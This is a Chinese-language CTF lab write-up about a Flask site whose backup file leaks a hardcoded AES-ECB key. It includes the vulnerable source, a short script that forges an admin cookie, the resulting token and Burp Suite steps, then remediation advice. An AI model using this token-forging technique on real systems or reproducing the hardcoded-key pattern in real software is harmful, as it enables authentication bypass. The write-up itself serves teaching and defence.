本文最后更新于 108 天前,其中的信息可能已经有所发展或是发生改变。
一、概述
目标网站:10.10.1.182:8081
测试目标:绕过登录,直接用cookie获取flag
测试时间:2025/12/18
测试人员:MarsRain
二、信息收集
进入网站后发现登录界面已经有提示账号密码均为guest,登录进去尝试


没有任何可以交互的地方
尝试在URL处输入/robots.txt
为什么要在URL处输入robots.txt:robots.txt 是一个位于网站根目录的文本文件,用于告诉搜索引擎爬虫(robots、spiders)哪些页面或目录可以被抓取,哪些不可以。它通过制定抓取规则,帮助网站管理员控制搜索引擎对网站内容的访问。
其作用就是
- 告诉搜索引擎哪些页面可以抓取,哪些页面不可以抓取
- 减少服务器负担,避免爬虫访问不必要的资源
- 保护隐私或敏感内容,不被公开索引
一个robot.txt的示例:
# 适用于所有爬虫
User-agent: *
# 不允许访问网站后台管理目录
Disallow: /admin/
# 不允许访问临时文件夹
Disallow: /tmp/
# 不允许访问包含用户隐私数据的目录
Disallow: /private/
# 允许访问网站根目录和公开内容
Allow: /
# 指定网站地图位置(方便爬虫更好索引)
Sitemap: https://www.example.com/sitemap.xml

发现一份py文件——app.py.bak,下载下来后发现是用来生成cookie代码,存在加密缺陷
from flask import Flask, render_template, request, redirect, url_for, make_response
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import json
import os
import datetime
app = Flask(__name__)
# ---------------------------------------------------
# CRYPTO CONFIGURATION (VULNERABLE)
# ---------------------------------------------------
# HARDCODED KEY! This is the primary vulnerability.
# AES-ECB is also used, which is weak, but the key leak is the fatal flaw.
SECRET_KEY = b'SafeBox_Secret_K' # 16 bytes
BLOCK_SIZE = 16
def encrypt_data(data):
cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
return base64.b64encode(ct_bytes).decode('utf-8')
def decrypt_data(b64_data):
try:
ct = base64.b64decode(b64_data)
cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
pt = unpad(cipher.decrypt(ct), BLOCK_SIZE)
return pt.decode('utf-8')
except (ValueError, KeyError):
return None
...................................................................
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
# Simple Login Logic (No database for simplicity in this specific lab, focused on Crypto)
if username == 'guest' and password == 'guest':
user_data = json.dumps({'username': 'guest', 'role': 'user', 'exp': str(datetime.datetime.now())})
token = encrypt_data(user_data)
resp = make_response(redirect(url_for('dashboard')))
resp.set_cookie('auth_token', token)
return resp
else:
return render_template('login.html', error="Invalid credentials. Try guest/guest")
return render_template('login.html')
...............................................
三、漏洞利用和分析
| 加密方式和密钥管理问题 | 看到代码中使用了自定义的 encrypt_data 和 decrypt_data 函数,如果密钥泄露,攻击者可以自己生成任意加密 token |
| Token 不包含有效期校验 | 用户数据中 exp 字段是过期时间,但代码里没有对过期时间进行任何验证 |
| Cookie 安全属性缺失 | 只是对登录的用户令牌进行了加密,直接利用脚本修改其中guest,直接改成admin后生成新的cookie |
脚本:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import json
import datetime
SECRET_KEY = b'SafeBox_Secret_K'
BLOCK_SIZE = 16
def encrypt_data(data):
cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
return base64.b64encode(ct_bytes).decode('utf-8')
# 构造 Payload
admin_payload = json.dumps({
'username': 'admin',
'role': 'admin',
'exp': str(datetime.datetime.now())
})
print(f"Admin Token: {encrypt_data(admin_payload)}")
输出结果:
Admin Token: lWfFm0XN7GE3GaHQb+neJDfwA2wfT5ZMFo12i+o00BKMCEQAMdrdxwMnxiaPvg9MBSXnOMvKNGbtPN3lmjaCyvn3EL6ZYEwd5Op6AGtnt1c=
将生成的新cookie放进burpsuite当中的inspector

修改inspector中的value后apply changes

放行查看结果flag{dont_hardcode_keys_and_dont_roll_your_own_crypto}

四、整改建议
从这次最明显的利用cookie进行攻击就能明显得出前端未设置相关的cookie安全属性,如:
- HttpOnly;
- Secure;
- SameSite=Strict
直接在生成cookie代码中间插入生成安全属性即可
@app.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
username = form.username.data
password = form.password.data
if verify_password(username, password):
exp = (datetime.datetime.utcnow() + datetime.timedelta(minutes=TOKEN_EXPIRY_MINUTES)).isoformat()
user_data = json.dumps({'username': username, 'role': 'user', 'exp': exp})
token = encrypt_data(user_data)
resp = make_response(redirect(url_for('dashboard')))
# 设置安全属性
resp.set_cookie('auth_token', token,
httponly=True,
secure=True, # 生产环境必须 HTTPS
samesite='Strict',
max_age=TOKEN_EXPIRY_MINUTES*60)
return resp
else:
return render_template('login.html', form=form, error="Invalid credentials")
return render_template('login.html', form=form)








大佬
佬不了一点